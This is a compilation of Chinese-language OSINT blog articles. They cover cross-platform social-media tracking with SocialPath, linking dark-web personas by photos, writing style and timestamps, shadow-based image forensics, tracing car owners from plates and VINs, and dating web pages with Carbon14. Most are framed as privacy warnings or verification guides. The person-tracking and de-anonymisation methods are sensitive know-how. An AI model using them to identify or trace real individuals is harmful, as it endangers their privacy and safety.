如何跨社交媒体平台追踪目标人？⚠ 警告安全意识 - iyouport

开源情报-每个人都可用的武器自我保护措施-技术技巧以防身

【2020年2月28日存档】社交媒体情报和开源情报不完全相同，它们是包含关系，前者是后者的一个分支 —— 前者也是后者的基础。社交媒体情报是一切情报挖掘和现实追踪的关键；本文介绍的情报追踪工具是为提醒安全意识。

这里介绍的是一个工具，叫 SocialPath，它可以根据名字搜集社交媒体情报。跨平台搜寻，检查 Twitter、Instagram、Facebook、Reddit 和 Stackoverflow。

收集到的数据按照词频、主题标签、时间轴、提及、相似的帐户进行排序，并在 D3js 的帮助下以图表形式显示。

⚠这种技术使您可以跟踪不使用唯一昵称的暗网用户。

介绍 ——

「图」

社交媒体情报（SOCMINT）是开源情报（OSINT）的核心，也是人工情报（HUMINT）的要素。您可以在下面看到对情报界的分类解释，以及自我保护技巧推荐：

- 《“谷歌地图”是比詹姆斯邦德更棒的间谍》
- 《什么是社交媒体情报？你的推特如何成为抓捕你的理由？》
- 《社交媒体情报和反情报基本工具手册：自我人肉（2）》

⚠如今，人们使用不同的平台来共享有关自己的信息，却没有意识到这些信息会如何暴露出自己的习惯、兴趣、位置和明显的见解 —— 这非常危险。

无数种机构包括政府间谍一直在广泛地使用社交媒体监视以观看特定的关键字、主题标签、使用信息建立支持情报的联系，并跟踪他们想要的任何人。

虽然这里面的动机并非都是邪恶的。

社交媒体情报 SOCMINT 在很多正义的事业上都非常有用，例如，twitter 僵尸网络跟踪、照片地理位置定位以识别虚假信息、或者查找并警告威胁因素的存在，等等。

早在五年前IYP创立之初我们就开始警告：⚠切勿在各种不同的网络平台上使用相同的用户名/ID/照片和简介，因为这样做非常危险 —— 相当于给了监视跟踪一个极为便利的机会。

但直到如今，依旧有很多人在这样做。

如果您很受欢迎、是网络名人，并且希望仅通过自己的名字被他人认识，这可以说是很平常的事，但是，⚠建议您不要将暗网或黑客论坛中的身份与任何社交媒体服务混在一起，否则…… 那简直太糟糕了。

缺乏基本的操作安全性（**OPSEC**）是一切灾难之源。

遗憾的是，直到目前为止低端的操作错误依旧非常普遍。

研究

「图」

⚠刑事投诉、起诉书、司法部公告和其他相关的文件，有可能比安全技术更值得阅读，因为其中会透露很多关于政府间谍如何抓人和如何拿到证据的见解 —— 这些见解您可以在下面回顾我们曾经推荐过的内容：

- 《他们是如何抓捕说真话的人？⚠灾难和教训》
- 《反侦察教训：当权者如何抓捕 Facebook 和 telegram 用户》
- 《透明度革命：你应该知道的技术、经验和教训》
- 《这些使用暗网的人是如何被抓到的？》
- 《真的安全吗？那么他们是怎么抓人的？—— 洋葱头会让谁流泪（三）》
- 等等

阅读起诉书和司法文件不仅能够帮助您深入了解那些案例，并且，更

为重要的是，您能从中得出很多经验和教训 —— 那些反侦察匿名工作失败的血淋淋的教训。

我刮了一个暗网论坛，以获取成员名录，然后在不同的社交媒体平台（如Facebook，Instagram，Twitter，Stackoverflow 和 Reddit）中寻找他们。值得一提的是，结果取决于您要监视的论坛是什么。

比如，您在马其顿暗网论坛中跟踪用户，那么调查本地的社交媒体服务（仅在特定国家/地区流行的那些）就会非常有意义 —— 对中国来说尤其如此，因为中国墙内克隆了一个小世界。

另一方面，当您针对白俄罗斯论坛时，就没有必要考虑葡萄牙语服务。一些Darknet网站允许检查所有用户的声誉和帖子数量，而无需注册。这样就可以轻松排除掉某些帐户。

如果用户在服务之间重复其昵称，那就没有任何匿名性。

为了确认两个帐户（暗网和明网）都属于同一个人，请进一步分析照片、文字、时间戳或兴趣 —— 再次提醒，⚠语言指纹是非常危险的东西，即便您在其他方面保护得非常严谨，语言习惯也有可能暴露您！语言学取证已经是一个非常成熟的学科和一套迅速完善的技术。

您可以在下面这篇文章中看到所有您需要注意的危险漏洞，包括语言指纹，以及相关资料和视频：

- 《角色扮演》

相同的帐户

「图」

为了证明上述，来看看美国起诉阿卜杜拉·阿尔玛什瓦利（Abdullah Almashwali）的案子：

⚠查找与PGP密钥关联的电子邮件地址可以发现社交媒体资料。

之后，⚠政府间谍获得了每个帐户的搜索授权书，其中包含详细信息和聊天记录。

这里的主要操作错误是：在电子邮件地址和社交媒体中使用了相同的昵称。此电子邮件可能还用于注册其他帐户（甚至所有账户）。

所有社交媒体网站都要随时配合政府间谍的需求 —— 请注意是所有！不分哪个国家；仅仅是有些国家规定需要搜查令，而另一些国家可以随便拿。如果您知道搜查令有多么容易获得，就不会放松警惕了。

除了上面已经列举的教训之外，您还可以在下面找到更多案例；比如来自刑事诉讼，美国诉 Marcos Paulo De Olivieria-Annibale 案：

「图」

- 重要！《这些使用暗网的人是如何被抓到的？》

照片

「图」

如上，您已经知道在不同平台使用相同的用户名有多糟糕；但是，您还需要知道，使用或发布相同的照片，比用户名更糟糕！

美国诉 HENRY KOFFIE a/k/a NarcoBoss 案表明，连接两个账户的指标之一是相同的资料图照片：

有时候一张照片顶得上千言万语。

例如 美国诉怀亚特·帕塞克（Wyatt Pasek）案表明，在确定犯罪嫌疑人的社交媒体账户后，一切都就非常清楚了。

⚠任何时候，别得瑟！虚荣心会害死你 —— 请记住，名誉、金钱、他人的尊重、所谓的知名度和影响力 ……这一切都不是你的，命才是你的。

如果你要保命，就最好能放弃上述所有。

他们能用这种方法抓住毒贩，就能抓住他们想要的所有人。任何有点脑子和想法的人在当权者眼里都是敌人。

你说的所有话！

「图」

也就是我们在前面强调过的 **语言学取证**。

这类调查最有趣的方面就是按帐户对目标人使用过的字词进行对比分析。

⚠因为每个人的脑回路都是有固定模式的，你平日可能没有注意到这点。于是，如果两个账户的操作者为同一个人，那么几乎肯定会漏出马脚。

语言学取证是非常专业的，并且只能由专业人员来得出结论，例如确认某人的原籍国、性情偏好、关联并揭示多重虚假身份等等。

某些字词、句子或成语，在不同国家/地区具有独特的含义，不同领域（工作经历）也会导致人们产生趋同的语言习惯；根据这项研究，可以将两个身份的写作风格联系起来，并挖掘到背后人的真实身份。

⚠这也是为什么我们在多重身份角色的相关安防建议中强调：您必须能妥善管理每一种身份角色，切勿令它们之间、尤其是这些角色与您的真实身份之间，产生任何联系。

斯诺登在去年他的新书访谈中描述了多重在线角色的操作，您可以在这里看到我们对一自我保护技术的详细介绍：《分裂人格的魅力》。

OxyMonster 的多重在线角色之所以被联系在一起并被揭露，是因为“单词和标点符号的使用有很多相似之处” —— 见起诉书：*United States of America vs Gal Vallerius*

⚠人们在语言习惯上经常会犯同样的错误，这些微妙的细节都可以变得瞄准你的黑枪。

除此之外，手动检查每个帖子的内容，以便与以前找到的照片、社交媒体帖子、和其他信息，建立另一种联系。

Med3l1n 案的另一个证据是，政府间谍在社交媒体背景中找到了一本书“ Gomorra” 的照片，并在华尔街市场论坛上找到了对该书的引用。

「图」

⚠提及其他用户的帖子也会引起调查人员的兴趣，因为这样的帖子会创建 **可疑对象与之交互的关系网络**。

被发现的相关联人可能是目标人现实生活中的朋友、虚拟世界中的朋友、或其他分身帐户 —— 他们的安全操作水平有可能很糟糕。

「图」

再次强调：您必需与熟悉安全知识并具有良好安全操作习惯的人交往，否则您的朋友会害了您。并且，在分身状态下，切勿使任何分身角色之间产生联系。

时间戳

「图」

⚠请注意，信息不足也同样是一种信息！有时也很有价值。

您在社交媒体上的活动已被记录在案，如果政府间谍以任何线索对你产生怀疑，你就会受到重点监视。

强有力的指示器是时间戳，它显示用户何时以任何方式活动、张贴照片、发表评论、或与他人互动。人们一上线就总是想要“做点什么”，其实这个下意识挺糟糕的（悄无声息真的很难吗？）。

这里再次使用 Med3l1n 的案例作为社交媒体活动和暗网角色如何产生关联的调查示例：

「图」

进行这种调查的任何人都需要考虑时区。

⚠其他指标比如，搜索时使用的语种，如果与其搜索内容本身的相关性很低，那么该语种就很有可能是目标人的原籍国。

建议您不要告诉任何人你住在哪里、在哪里工作，以及你的时区是什么，否则会非常危险！就算是你最信任的人也一样，因为他们有可能扛不住社交工程的诱导而把你说出去。

「图」

Snippet from Med3l1n case

其他

「图」

⚠在暗网上引起间谍注意的任何人都应该明白，你的用户名已存在于

监视数据库中，并且每次被提及 —— 不论在虚拟世界还是在现实生活中，都会引起对其的跟踪监视。*United States vs David Burchard*

当然，这不是决定性的证据，仅是整个案件的支持线索之一，包括物流包裹的拦截、人身监视、或移动跟踪记录等等，都是常用的；但是。⚠是社交媒体情报而不是其他，在整个追踪调查中起着至关重要的作用。

所以，今天推荐的这个技术是专门针对社交媒体情报的 —— 也就是一切调查的根基。

这里需要解决的问题是：如何比较来自不同社交媒体的用户；此外，如何比较他们的活动、个人资料图片、语言使用习惯和社区，从而挖掘他们的真实身份。

「图」

SocialPath

「图」

查看与个人相关的所有帖子、推文或照片是繁琐且耗时的工作，手动做会很辛苦 …… 幸运的是，相关自动化的便捷工具其实很多。

SocialPath 是一款简单的应用程序，可在社交媒体（Facebook、Instagram、Twitter、Reddit、和 Stackoverflow）中查找帐户。

它使用 Django 作为后端，并使用 D3js 绘制图表；并提供有关个人资料的基本信息，例如 简介、网址、关注者或朋友。

详细信息页面包含基于用户活动的图表，即 热图日历、lollipop图表、滚动图和 wordcloud。它用于显示用户时间轴、主题标签、词频、提及、评论、以及更多能揭露帐户类型的信息。

键入用户名时，您将使用先前的帐户重定向到仪表板。几分钟后，当字段开始填充时，您将能够看到个人资料图片和主要信息。*SocialPath Dashboard*

当用户存在时，您可以单击其照片并转到详细信息页面。如果用户不存在，您将看到与您指定的目标帐户相似的其他帐户 —— 因为目标人有可能采取变体名。

完整数据包括每个现有用户的上述交互式图表。

Heatmap 日历显示用户何时进行互动（例如发布照片或推文）以及执行了多少次。单击每个活动的方块将您重定向到该特定日期的互动上。*SocialPath timeline of @the_wojciech*

Lolipop 图表显示 Twitter、Facebook 和 Instagram 的主题标签，Stackoverflow 的标签和 Reddit 的 subreddits。

它显示目标人使用了多少次某个固定的标签，以及目标人在特定标签或 subreddit 中处于活动状态的次数。*SocialPath lolipop chart for hashtags*

滚动条可以帮助您调整特定单词出现的频率，一个人经常使用很多单词，有时某些词只使用一次，因此很难想象出来。但是，它显示了500个在评论、发推、回复等地方使用率最高的词及其频率。*Words frequency chart*

Wordclouds 用于呈现各种用户交互。例如，对于 Reddit，它会显示点赞，因此可以轻松查看其中有具体点赞的特定帖子。

这是一种确定用户是否受到社区喜欢以及哪种帖子获得最多或最少支持的快速方法。

单击特定编号后，它将重定向您到相关的帖子或评论。*Upvotes for Reddit user.*

局限性

「图」

该应用使用API，因此您需要在配置文件中填写API密钥。根据 Facebook 的政策，仅下载帖子您不需要任何API访问权限。

另外，如果每天少于300个查询请求，Stackoverflow 不需要您做身份验证。

Instagram 允许抓取其公共API，但有时可能需要传递您的cookie，如果您在将 Instagram cookie 复制到配置文件时遇到问题的话。

下面是管理界面：

在这里看到 SocialPath：https://github.com/woj-ciech/SocialPath

结论

「图」

处于显而易见的原因，这里不会演示任何真实的调查过程。您可以自己实践。

⚠如上所述，如果您使用互联网，就必须能做到：

- 切勿将不同平台上的身份信息发生关联 —— 不论是名字、照片、语言习惯、还是兴趣偏好或简介；
- 暗网是相对安全的，但暗网也是警察间谍的重点监视目标（他们的逻辑很傻逼，他们认为“你如果不想鼓捣什么猫腻就不会想使用暗网”）；所以，操作安全是一切的基础！不要犯低端错误，见《使用 Tor 保护自己时千万不要做这九件事》；
- 在线分身是非常必要的，其关键在于每一种分离角色之间都不可以有任何相关性！必须不能有其他人知道那是您的分身。

SocialPath 表明，任何人都可以轻松创建此类挖掘社交媒体情报的应用程序，因此你必须假定，政府间谍可以拥有更为强大的情报挖掘工具、实时监控能力、以及更大的数据库 —— 包括来自先前被抢占市场的转储。

Be careful! ○□

原文

如何通过阴影分析检测社交媒体上被篡改的图像 - iyouport

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

社交媒体上的图像是被压缩过的，传统的真伪验证方法很可能不起作用，这种情况下怎么办？

图像和视频的真实性验证是当今数字取证领域最突出的挑战之一。各种图像处理软件的迅速扩散，加上日益流行的深度造假，使得传统的“眼见为实”不再是事实。这对于在网络上发现的内容来说尤其如此。要确定一个随机的社交媒体用户的可信度，并及时做到这一点，可能是非常困难的。

在过去的二十年里，研究人员一直在努力创建图像伪造的检测工具。你可以找到数百篇关于篡改定位、剪切和粘贴攻击检测、复制移动检测等内容的论文。然而，大多数现有的工具都有一个共同的缺点：如果你给它们提供一个“刚刚被篡改过的”图像 —— 例如，最近保存在Photoshop中的版本，上述方法能够有很用。但是，如果你把这个骗局上传到，比如说Twitter，然后分析这个共享版本，这些方法的性能就会大大下降。

为什么会这样呢？这是因为社交媒体网站在上传过程中会对图片进行处理：大多数时候，他们会缩小图片的尺寸，并相当积极地重新压缩它。这种简单的“缩小尺寸”处理被证明是一种非常有效的反取证技术：大多数篡改的痕迹将变得无法察觉。

那么，如果我们的任务是分析一张来自社交媒体的图片，我们能做什么呢？嗯，有一些好消息。

第一个好消息是，研究人员开发了一类属于几何和物理分析类别的算法。这些算法可以让你检查几何特征的一致性，如比例、透视和阴影，而不是寻找像素统计、噪音水平、压缩伪影等方面的异常情况。直观地说，这些特征受尺寸减小和重新压缩的影响较小，可以作为验证的更可靠线索。

第二个好消息是，自 Rev 17658 以来，Amped Authenticate 具有最强大的几何学技术。阴影分析。如果你没有听说过 Amped Authenticate，只需知道：它的诞生是为了使最强大的伪造检测算法在一个单一的取证工具中容易获得，它带有各种各样的报告功能。凭借40多个过滤器和工具，Authenticate 是多年来市场上最完整和全面的套件。因此，下面我们来试试看。

假设我们得到了这张图片，并被要求检查是否被篡改（该图片是“实际篡改数据集”的一部分，由 Pawel Korus 教授在线提供）。

乍一看，这两个红衣舞者很可疑地相似。然而，这个伪造品做得很精致，而且图像是TIFF格式的，这就排除了所有基于JPEG的分析工具。

不过，这张图片确实有一个很好的特性：它包含了很多源自阳光的阴影。这些都是阴影分析工具的理想条件。阴影分析工具允许我们在一个主要假设下检查图像中阴影的一致性：有一个单一的、点状的光源。它可能是太阳，也可能是房间里的一盏灯。

我们的想法是，如果我们将阴影上的一个点与物体上的相应点连接起来，将得到一条线，光线应该位于这条线上，如下图所示。

然而，通常很难理解一个物体的哪一个确切的点是对投射阴影上的特定点负责。出于这个原因，研究人员提出了一个更方便用户的想法：我们可以让用户点击阴影上的一个点，然后在物体上画一个范围，其中包含阴影的对应点，而不是要求用户将点与点连接起来。这样一来，用户每次选择都会定义一个楔子，而不是一条线。如果一切都是一致的，那么所有的楔子都会有一个共同的交叉区域，其中包含光源，如下图所示。

相反，如果所选择的阴影之一因为是假的而不一致，那么将不再有共同区域存在。

很聪明，不是吗？现在让我们看看如何用 Amped Authenticate 来完成这一切，用本文开头的图片作为一个测试案例。该阴影工具是在几何过滤器类别下可用的。点击它，把图片拖到过滤器中。

在右边，你可以看到过滤器的输入和输出控制。正如你所看到的，这里有两个表格，一个叫添加投射阴影约束，一个叫添加附加阴影约束。让我们专注于第一个，它被默认选中。我们可以开始点击阴影上的一个点（下图中的1），然后点击投射物体上方的两个点，这两个点包含了产生阴影的元素（2）和（3）。

点击之后，我们仍然可以通过移动鼠标来调整楔子的方向，或者最后左键点击确认并保存它。楔子现在已经储存在输入表单中。

现在，是时候进行一些思考了。在添加边时，我们的目的是使可行区域（所有楔子的交点）越来越小。因此，我们应该优先选择那些允许我们绘制窄楔的物体/阴影。左侧那个交通标志是目标图片中的一个好例子：

现在不断添加约束，直到达到这种情况：

现在，关注右下角的控件：

「图」

约束区域复选框（默认情况下是关闭的）决定了我们是否要显示所有选定的绿色楔子，或者希望它们被隐藏起来，以便在工作中保持图像的 “简洁”。可行楔形复选框则决定了我们是否希望 Authenticate 显示一个黄色的楔形，对于鼠标的位置，它自动显示当前可行区域对该点的投影，如下图所示：

Show Feasible Region 按钮允许显示所有当前楔形的交点所在的位置，即使它在图像之外。在本案例中尝试一下：

出人意料的是，可行区并不在太阳的方向，而是在另一边。这不是错误。创建楔形时，该阴影工具还会创建其反向的版本，并在两侧寻找交点。

当在倒置的楔形中发现交叉点时，面板的底部文字为 “Inverted: Yes”。这对图像的真实性没有任何影响。

好了，现在让我们为最右边的红衣舞者增加一些约束：系统仍然处于可行状态。

然后再为左边的舞者做同样的事 …… 你会发现，系统变得不可行。

当然，这个阴影工具不能知道哪一个（或几个）约束属于假的对象。它只是告诉我们，所有这些约束条件都是不一致的。由于我们已经选择了10个约束，所以很难识别出最可疑的是哪一个。幸运的是，阴影工具再一次用它的 “Show Min” 来帮助我们。“不可行集” 按钮可以让工具搜索出一个较小的不可行的约束子集（通常，四个中的三个就足够了）。下面是一个例子，有三个约束属于不可行系统：

当然，通常有几种组合会使我们达到一个不可行的集合。通过在显示全部和显示最小之间切换，可以探索其中的几个组合，如下图所示。

这里的想法是，与假对象有关的约束将出现在所有这些约束中。经过几次尝试就会发现，最左边的红衣舞者是这里的假对象。

因此，我们可以右击她的约束，将其标记为 Inconsistent：

「图」

这样一来，它将在图像上被标记为红色，并从计算中排除：系统又变得可行了。

现在可以通过点击 “文件”-」“结果另存为” 来导出图片，或者可以在 “验证” 项目面板上添加一个书签，让所有东西都包含在最终报告中，如下图所示：

上述案例使用的是一张高质量的图片，但如果我们有一张低质量的图片呢？好吧，让我们在一个视频上试试，而且是一个低分辨率的视频。你还记得几年前在YouTube上疯传的这个视频吗？

如果我们取一帧图像并分析其阴影，就会发现这只鹰很可能是假的。而你很难用普通的基于像素或基于容器的图像取证算法来证明这点，只有阴影工具能做到。

就是这么简单。

我们已经展示了阴影分析的潜力以及如何使用 Amped Authenticate 的阴影工具来进行分析。最明显的是，由于基于几何特征，阴影分析不受许多 “清洗” 操作的影响，如重新压缩、缩小、打印、扫描和重新捕获。事实证明，它对于视频的真实性验证也是非常有用的：要想创建一个假的视频并使每一帧的阴影都保持正确，那是非常困难的。○

相关文献

Giudice, Oliver, Antonino Paratore, Marco Moltisanti, and Sebastiano Battiato. “A classification engine for image ballistics of social data.” In *International Conference on Image Analysis and Processing*, pp. 625–636. Springer, Cham, 2017.

Kee, Eric, James F. O’brien, and Hany Farid. “Exposing Photo

Manipulation from Shading and Shadows." *ACM Trans. Graph.* 33, no. 5 (2014): 165–1.

Korus, Paweł. "Digital image integrity–a survey of protection and verification techniques." *Digital Signal Processing* 71 (2017): 1–26.

Korus, Paweł, and Jiwu Huang. "Multi-scale analysis strategies in PRNU-based tampering localization." *IEEE Transactions on Information Forensics and Security* 12, no. 4 (2016): 809–824.

Verdoliva, Luisa. "Media forensics and deepfakes: an overview." *IEEE Journal of Selected Topics in Signal Processing* 14, no. 5 (2020): 910–932.

How To Detect Tampered Images On Social Media Via Shadows Analysis

原文

如何针对汽车进行开源情报调查 - iyouport

开源情报-每个人都可用的武器

追踪汽车是追踪人的有效方法

开源情报绝对没有《在全球实时跟踪150亿辆汽车》的那种间谍能力，但汽车很多时候是一个调查目标的私人身份信息线索的起点，这取决于您如何有效地利用这个信息线索。

有许多不同的方法来寻找车辆的信息，有时也有关于车主的信息。

本文将向您展示在进行COSMINT：汽车开源情报调查中可以使用的一些资源。本文不会包括所有的资源，这些资源可能因国家而异。重要的提示是：使用开源情报来进行开源情报调查。例如，如果您不熟悉任何可以让您在自己的国家查找车牌的东西，只需去搜索这个问题（车牌查询，查找车牌上的信息，等等），并自己尝试不同的网站。

首先，首先要了解可以在网上查询哪些车辆数据。如果是量产车的话，只根据制造商、型号和颜色来搜索可能不是最好的选择。

每辆机动车（汽车、摩托车、卡车）都有几个唯一的标识。第一个是车辆识别码，或VIN。这是一个分配给每辆车的17位数代码。这个代码将给您目标车辆的品牌和型号、有时包括制造年份以及车辆的整体规格。

对于那些感兴趣的人，建议您从VIN的维基页面开始了解更多关于它是如何组成的信息。

接下来是车牌。这将导致回到注册和/或投保车辆的人或组织，尽管它通常无法免费获得或通过开源情报 研究这些信息。本文将主要集中在美国的一些研究可能性上，所以这里是所有50个州的车牌设计的概述（这里是中国的车牌号设计）。此外，由于现代汽车上有各种多媒体系统，MAC-地址、BSSID或蓝牙ID，可能是另一种追踪车辆的方法。但本文不会太深究这个问题。

现在，先来看一个小案例。下面这个车牌在调查中出现了。这里已经

遮盖了部分信息，因为本文使用的所有案例研究都将来自真实数据。

第一步将是简单的谷歌这个车牌号。接下来可能基于文本的结果，我们可能会获得基于图像的结果，因为谷歌和其他搜索引擎经常使用光学字符识别（OCR）从图像中提取文本。

和以往一样，当使用搜索引擎时，您可能要调整一下搜索结果，在此处的情况下，这将意味着将完整的车牌号写在一起（BXXXXX4），尝试添加空格（BXX XXX4）或使用引号（”BXX XXX4”）。

虽然这里的查询没有产生任何基于文本的结果，但确实从当地的一篇新闻文章中看到了该车辆的图像。这个车牌号没有在网站上的任何地方列出，因此这个结果是由谷歌图像搜索呈现出来的。

「图」

也有付费服务可以进行车牌查询。在本文例子中使用了 Infotracer。这些网站的结果质量差别很大，没有一刀切的方法。测试中获得车辆注册人姓名的成功率往往低于15%。然而，在目前的情况下还是很幸运的，能够得到一个名字和一个VIN号码。

有了这个名字，我们现在可以在各种搜索引擎中尝试查找，当然也可以在社交媒体上搜索这个人。也可以查询VIN，但我们稍后再谈。

还有什么其他的可能性根据车牌来追踪汽车？

汽车检索网站在这里可能会有帮助。也就是说，如果目标车辆是一些特殊的车型，比如豪华车或超级跑车，就容易找到。大多数汽车检索网站只会收录这样的 “好车”。除非你在俄罗斯。出于某种原因，俄罗斯人喜欢上传和索引任何汽车和车牌。比如 **Autogespot** 上就可以找到车牌。

就像搜索引擎OCR图像一样，社交媒体平台有时也会这样做。比如在Facebook中，你可以使用搜索框查询任何你喜欢的文字类型。这意味着也可以查询车牌号。尝试查询美国脱口秀主持人 Jay Leno 的一辆车。这是一辆很棒的福特GT，注册号为BK2LMNS。通过点击 “帖子”，就可以收到文本中包含BK2LMNS的结果。

接下来看看图片结果。这里显示的图片有时是因为实际帖子或评论中包含了您的搜索词相关的文字。然而 Facebook 会对图片进行OCR处理，所以结果往往也可以来自于提取和索引的文本。下面在搜索结果中高亮显示了一张图片（最上面一行，左二），并查看了该图片的实

际帖子，可以确认在文本中没有提到车牌号，无论是在帖子本身还是在任何评论中。

正如您所看到的，有很多的可能性来研究车牌号码。现在把重点放在VIN上。你可以通过付费服务之一查找车牌号来获得VIN，就像前面的例子中所做的那样。基本上上面所做的一切也都适用于VIN。对于初学者来说，只需在谷歌上搜索：

这往往会把你引向拍卖网站和付费服务。有些拍卖网站只会显示一小部分数据或只显示图像预览。在这种情况下，深入浏览器中的开发者工具可能有助于揭示更多有用的信息。其他时候，仅仅是操纵URLs可能就会找出进一步的相关数据。Micah制作过一个关于使用浏览器开发者工具的10分钟小贴士：

Facebook 通过他们的OCR也可能会得到关于VIN的结果。不幸的是，完整的VIN并不经常被OCR和索引，但这也是您可以随时尝试的事。

上面是一个简单的概述，关于在网上研究车辆时有什么可能。并非所有的调查都可以在任何地方通用，也并非所有的事都可以免费进行。正如您所看到的，一个数据源会引出另一个数据源，一个车牌号引出注册人的名字，然后就可以在社交媒体上找到此人的活动的更多信息。车牌号也可以引出**VIN**，这可以给您的车辆历史的背景信息（如以前的损坏等等）。

如果您想要更多关于追踪汽车的方法介绍，可以参见：

- 《如何追踪一辆汽车？》

OSINT on Cars

原文

如何验证网站的年龄、如何得知照片发布的确切时间？- 开源调查小工具 - iYouPort

开源情报-每个人都可用的武器

针对推特用户的调查也有效哦！

「图」

「图」

比如IYP的网站，从表面上看，最早期的文章可以追溯到2015年1月。那么 **iyouport.org** 是2015年或以前创建的吗？并不是。只因为曾经的 .com 网站被作废了。

当然，这是个不合适的例子，因为我们没有干坏事。本文即将介绍的调查工具适用于对那些在"信息战"中发起攻击的网站进行的调查。

猜猜看，下面这张图显示的是什么？

「图」

「图」

是印度管理的信息战网络 —— 跨越超过65个国家/地区、至少265个虚假的本地新闻站点。这是 EUdisinfo 的调查报告。

对网站进行的调查是在追踪诸如宣传战这类主题中最常用的技巧。本文即将介绍的工具能帮您更好地完成这件事。

Carbon14 是用于网站调查和验证的非常有用的Python工具。它使研究人员可以确定何时创建的网页、以及自首次发布以来是否有可能被更改、什么时间作出的更改。

Carbon14会检查嵌入到网页中的图像所附带的数据，以判断它们何时上传和发布。这有助于确定首次创建网页的可能时间段，以及确定自此以来对网站进行的任何调整或更改的频率。

这对于需要进行大量验证工作的开源情报调查人员来说特别有用。比如您抓到了信息战推手网页的撒谎证据，而他们迅速更改了信息以狡辩，您也能拿出证据。这是诸如“档案馆”那种网站经常做不到的。

- 不要错过《留下证据：如何存档开源材料？》

Carbon14 检查发布图像时生成的 Last-Modified HTTP参数。这意味着可以确定何时首次创建网页内容。

请注意，它检测的是图像发布的日期，而不是实际拍摄原始照片的日期。它不依赖**EXIF**数据。

入门

Carbon14 可在 Windows、Mac 和 Linux 上运行。它需要 Python 2.7 版本，因此，如果尚未安装 Python 2.7 Windows 版，请按照这个指南进行安装。

Python 2.7 已经安装在 Mac OS 和 Linux 上。

在终端中从 GitHub 下载或克隆 Carbon14 存储库：

```
$ git clone https://github.com/Lazza/Carbon14
```

如果您不习惯使用终端从GitHub进行克隆，则可以按这里的指南进行操作。您可以将存储库下载为ZIP文件并手动将其解压缩。

下载后，转到新创建的 Carbon14 目录：

```
$ cd Carbon14
```

然后安装其他软件要求。您可能需要 root 才能安装某些插件，在这种情况下，请在下面的命令前加上 sudo（Mac 和 Linux）：

```
$ python2.7 -m pip install -r requirements.txt
```

安装依赖项后，您可以使用以下命令运行 Carbon14 以打开帮助菜单。

```
$ python2.7 carbon14.py -h
```

要检查网页的年龄，请使用以下格式：

```
$ python2.7 carbon14.py https://examplewebsite.com
```

可以选择将您的名字添加到 Carbon14 使用 -a 生成的简短报告的标题中，如下所示：

```
$ python2.7 -a iyouport carbon14.py https://
examplewebsite.com
```

演示案例：检测编辑变更

这里使用的案例是博客 nixintel.info，发布日期为2019年10月5日，但在发布最终版本之前发布了一些草稿并多次编辑了照片。Carbon14 可以检测到这些更改并找到何时进行的更改吗？

查询博客帖子的命令如下所示：

```
$ python2.7 carbon14.py https://nixintel.info/
osint/digital-shadows-seeking-sector035-
quiztime-26th-september-2019/
```

下面是结果。 Carbon14 捕获了插入到此文章中的所有图像的URL、以及最初上传内容的时间和日期。

「图」

「图」

从这些发现中可以看出，在2019年10月5日伦敦时间大约19:34到21:32之间写的这篇文章。Carbon14 会按时间顺序显示结果。

尽管博客的发布日期仍为10月5日，但 Carbon14 显示了此前进行的所有更改、以及在2019年10月6日09:51添加了新的图像。

这些信息如果您直接看网页是看不出来的。但是作者所做的更改却被发布图像的时间戳背叛了。

这项技术适用于各种网页，因此很容易看到如何使用它来确定作者何时添加或替换图像，以及最初创建文章的时间。

这对信息战操作的调查来说特别有用 —— 操纵者经常会在时间上愚弄人们。

就连互联网档案馆网站通常也不会检测到此类更改，因此，Carbon14是一种有用的方法，可以更好地了解网站随时间推移所做的任何更改。

Carbon14 对 Twitter 来说有什么用？

Twitter不允许在发布后对其进行编辑，因此 Carbon14 无法显示任何更改。但是，由于它查询网页的方式，它的确带回了一些有用的图像信息。

使用 Marko Bereth 的案例。他发布了一个新的侦探挑战帖子，他的原始推文照片的网址如下：https://twitter.com/mahrko/status/1185220029224280065/photo/1

因此，要用 Carbon14 进行查询，输入以下内容：

```
$ python2.7 carbon14.py https://twitter.com/
mahrko/status/1185220029224280065/photo/1
```

它带来了几个有趣的结果：

「图」

「图」

它不仅会在推文中带回图像的URL，还会显示图像的增强的高分辨率版本的**URL**（后缀 **:large**）。

它还会带回 Marco 的个人资料图片的三个URL，它们的尺寸也最大：400×400 像素。还可以看到 Marco 在2019年9月22日14:12:33 发布了他的最新个人资料照片。

显然，你已经发现，⚠可以使用这种方法对一个推特账户进行调查，以揭露其活动状态、以及自帐户创建日期以来个人资料图像是否被更改过。

Instagram

Carbon14 还可以自动从 Instagram 检索更高分辨率的照片，并显示发布图像的准确时间。

例如，这是巴西足球传奇人物罗纳尔多（Ronaldo）的最新帖子：

「图」

「图」

使用 Carbon14 检查发布网址只会返回一个结果：

「图」

「图」

您可以看到，图像发布到 Instagram 的确切时间（UTC时间13/10／19，16：24：39），而不仅仅是 Instagram 在页面中报告的“ 5天前”。

与浏览器中显示的图像相比，URL还提供了更高分辨率的图像版本（从技术上讲，它是同一幅图像，只是呈现方式有所不同）。

当然，您可以通过开发者控制台挖掘完整的图像URL来完成此操作，但是 Carbon14 是一种更为整洁的方法。

如果您使用前者方法，具体介绍在这里：

- 《别让社交媒体的自然模糊阻挡真相》
- 《如何让模糊图像变清晰？- 开源情报初级处理工具》

好了就是这样！玩得开心。〇

广告

原文

如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界 - iyouport

开源情报-每个人都可用的武器

【2019年10月24日存档】本手册是开源调查工具包，请将其用于正义的目的

这是高信息技术和社交网络的数字化的时代。

有人喜欢它，有人不喜欢，有人试图隐藏真实身份信息，不会出现在任何社交网络中、删除所有密码和注册。想要做到这点正在变得越来越难。

然而，事实上，您可以使用 OSINT 技术找到有关每个用户的任何信息，这一事实首先得到了20世纪50年代美国间谍机构的公开证实。

今天的互联网速度更快了、更容易获得想要的东西。正如您所知，你可以找到几乎一切 —— 只要您擅长搜索。

但最重要的问题是，它还给我们带来了什么 —— 好处还是麻烦？

毕竟，事实证明，我们没有多少选择的权利，也没有机会在网络中被忽视。甚至一个孩子都可以应对“电话号码搜索”这样的简单任务。

每年 **OSINT** 技术的可能性都会快速增长、并变得真正无限！

⚠想想普通用户在互联网上都干了什么。你就能知道 OSINT 可以多强大。

以下是 Domo Data Never Sleeps 5.0 的统计数据，*仅仅*每分钟 —— 请注意是每分钟：

– Snapchat 发布 527,760 张照片;

– 超过 120 位专业人士加入领英;

– YouTube 用户正在观看 4,146,600 个视频;

– 向 Twitter 发送了 456,000 条推文;

– Instagram 上有 46,740 张新照片出现 ……

